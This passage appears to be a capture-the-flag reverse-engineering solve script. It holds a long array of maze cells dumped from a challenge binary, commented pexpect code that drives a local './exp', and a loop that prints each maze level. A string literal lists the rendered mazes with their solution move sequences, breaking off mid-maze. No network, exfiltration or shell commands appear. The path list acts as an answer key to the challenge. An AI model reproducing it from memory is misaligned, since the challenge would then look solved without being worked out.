10x000000010x000000010x000000010x000000010x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000020x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000020x000000000x000000000x000000030x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000040x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000040x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000010x000000030x000000000x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000020x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000040x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x00000000]
# path = b""
# for n in range(9):
#     p = pexpect.spawn("./exp")
#     for i in range(20):
#         p.sendline(" ".join(map(str, mapp[400*n+20*i:400*n+20*i+20])))
#         p.readline()
#         # print(" ".join(map(str, mapp[400*n+20*i:400*n+20*i+20])))
#     s = p.readline().strip()
#     print(s)
#     path += s
#     p.close()
# print(path)

for n in range(13):
    for i in range(20):
        for j in range(20):
            x = mapp[400*n+20*i+j]
            if x == 0:
                print(".", end="")
            elif x == 1:
                print("*", end="")
            else:
                print(str(x), end="")
        print()
    print()
'''
# aw
********************
********************
**4*****************
**.3..**************
**.**.**************
.....2**************
***.****************
***.****************
.**..**...*...*...*.
.*........*...*...*.
.*........*...*****.
.**********.......*.
..........*.......*.
....*******...*****.
....*.....*...*...*.
.****.....*...*...*.
.*........*****...*.
.*................*.
.*........*****...*.
.*................*.
# dddd dssaaaaa
....................
.******************.
.*................*.
.*2..3...4........*.
.*................*.
.**************.***.
.*................*.
.*....*****...*****.
.*....*...*...*...*.
.******...*...*...*.
......*.......*...*.
..*****...*...*****.
..*.......*.......*.
..*...*.***...*****.
..*...3...*...*...*.
..****....*...*...*.
..4.......*...*...*.
.**********...*...*.
.*................*.
.*................*.
# dssaaaawwwwww
********************
*4.................*
*.*************....*
*.*...........*....*
*.*...........*....*
*.*.3.........*....*
*.***.***.*****....*
*..................*
*.************.*****
*.......*..........*
*...............*..*
*.......*.......*..*
*********.......*..*
*...............2..*
********************
....................
....................
....................
....................
....................
# aaaaaaaww
********************
*4.................*
*......*******.....*
*.......3....*.....*
*......*.....*.....*
*......*....2*.....*
*......*******.....*
*..................*
********************
*.......*..........*
*.......*........***
*.......*........*..
*.*******........*..
*................*..
********************
....................
....................
....................
....................
....................
# aaaaaaaaawwdddddddddd
********************
*..................*
*.***************..*
*.*.............*..*
*.*.*************..*
*.*.*...........*..*
*.*.*.***********..*
*.*.*.*............*
*.*.*.*.**********.*
*...*...*..........*
********************
*.............*....*
*......********.**.*
*......*........*..*
********************
*..............4...*
*......*********.*.*
*.............3....*
*****.*********.****
*..............2...*
# aaaaaasaaaaaa
********************
*4.....3...........*
*.*************....*
*.*.......2........*
*.*.***********.**.*
*.*.*.....*.....*..*
*.*.*.*****.***.*..*
*...*.*...*.*...*..*
*.***.*.*.*.*.*.**.*
*.*................*
***************.****
*......*...........*
*......*******.***.*
*......*......3.*..*
********4.......*..*
*...............*..*
*.***************..*
*.*................*
********************
*..................*
# dddddddddssssaaaaaaaaaaaa
********************
*.....*............*
*.***************..*
*.*.............*..*
*.*.*************..*
*.*.*....2*........*
*.*.*.*****.******.*
*.*.*.*.....*......*
*...*.*.*****.****.*
*****.*.*.....*....*
*.....*.*.*****.**.*
*.*****.*.*.....*..*
*.*.....*.*.*****..*
*.*.*****.*.*......*
*...3.........******
*****.*****.*.*....*
*...........*.*.****
*.***********...*..*
*4..............*..*
********************
# aaaaaaaaaaaaaaa dwwww ddddddddddd
********************
*4...........2..3..*
*.***.***********..*
*.*................*
*.*.*******.*****..*
*.*.*4....*.....*..*
*.*.*.*****.*.*.*..*
*.*.*.*...*.*.*.*..*
*.*.*.*.***.*.*.**.*
*...3...*..........*
*.***.************.*
*......*....*......*
******************.*
*...3..........4*..*
*.***************..*
*.*.......*........*
*.*.*******.******.*
*.*.*.....*.....*..*
*.*.*.***********..*
*..................*
# sss
********************
*.............*....*
*.***************..*
*.*.............*..*
*.*.*************..*
